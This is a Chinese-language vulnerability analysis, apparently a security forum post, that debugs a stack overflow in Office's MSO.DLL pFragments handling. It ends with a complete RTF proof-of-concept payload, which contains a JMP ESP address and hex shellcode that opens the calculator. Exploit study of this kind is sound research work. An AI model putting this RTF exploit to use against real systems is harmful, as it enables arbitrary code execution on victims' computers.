漏洞成因：栈溢出漏洞。MSO.DLL在处理pFragments数组时未校验复制长度，故可构造数据造成栈溢出，劫持执行流。

影响版本：Microsoft Office XP SP3, Office 2003 SP3, Office 2007 SP2, Office 2010, Office 2004 and 2008 for Mac, Office for Mac 2011。

分析环境：

OS版本：Windows XP SP3

Word版本：11.0.5604.0

MSO.DLL版本：11.0.5606.0

使用msf生成POC：

WinDbg附加WINWORD.exe，打开POC文档，崩溃点如下：

崩溃原因是EDI指向内存区域为只读属性：

重新附加WINWORD.exe，bp 30e9eb88设置断点，载入POC，成功断下，查看调用堆栈如下：

IDA载入MSO.DLL，定位到0x30F4CC93位置，查看其如何传递参数：

EDI指向sub_30F4CC5D中局部变量，距离函数返回地址0x14字节，而sub_30E9EB62在执行复制操作之前并未检查长度，故可以造成栈溢出。

ESI与sub_30D2810C返回值相关，跟进分析：

而ECX值需回溯到sub_30F4CD58中：

回溯到sub_30F4CD58：

回溯到此，三个参数的传递过程都已清晰，参数1：

参数2为ebp-10h，参数3为0。

借由WinDbg查看参数1具体值，bp 30F4CD58：

bp 30F4CC73:

bp 30F4CC7D：

最终传递给sub_30E9EB62三个参数如下：

计算复制长度及源位置：

WinHex查看POC：

整体思路：由崩溃点确定漏洞触发位置——>回溯调用栈——>分析参数如何计算及传递。

查阅Microsoft Office Word 2003 RTF Specification可知：

定义数组规范如下：

定义Drawing Object(绘图对象)属性规范如下：

首先我们构造一RTF文档如下：

执行到0x3122FFE8处：

此时其返回值为0，不会执行到调用Ordinal501处：

而Ordinal501过程会修改内存0x014d1592处内容，进而影响到sub_30E9EB62中复制长度：

接着构造RTF文档如下：

执行完0x3122FFE8后返回值为1：

跟进Ordinal501：

继续执行到0x30E9EB88处：

最终构造POC内容如下：

{\rtf1{\shp{\*\shpinst{\sp{\sn pfragments}{\sv 1;1;无需多言，12345678是填充数据，0101是复制长度(笔者并未精确计算)，6161616162626262636363636464646465656565用以填充栈，904dc57d是JMP ESP指令地址，AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD会被处理为全零(详见下文)，33c050b82e646c6c50b8656c333250b86b65726e508bc450b87b1d807cffd033c050b82e65786550b863616c63508bc46a0550b8ad23867cffd033c050b8faca817cffd0是一段弹计算器Shellcode(一定要以小写字母形式写入)。

注：

AABBCCDDAABBCCDDAABBCCDDAABBCCDDAABBCCDD会被处理为全零

据笔者调试，复制字符中的大写字母会以0进行替换：

而30F4CB29处指令会将[ebp+10h]与0进行比较——若不相等，会调用sub_30F4CE43，如此一来，会出现如下提示：

而不会跳转到Shellcode执行。[ebp+10h]指向数据正好位于此块中，故我们借其处理机制将之全部替换为0，以完成跳转：

最终成功弹出计算器：

上述内容笔者采用"正序"阐述，但实际调试过程却是"倒序"。最初切入点是0x30E9EB6F，确定长度字节位置：

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！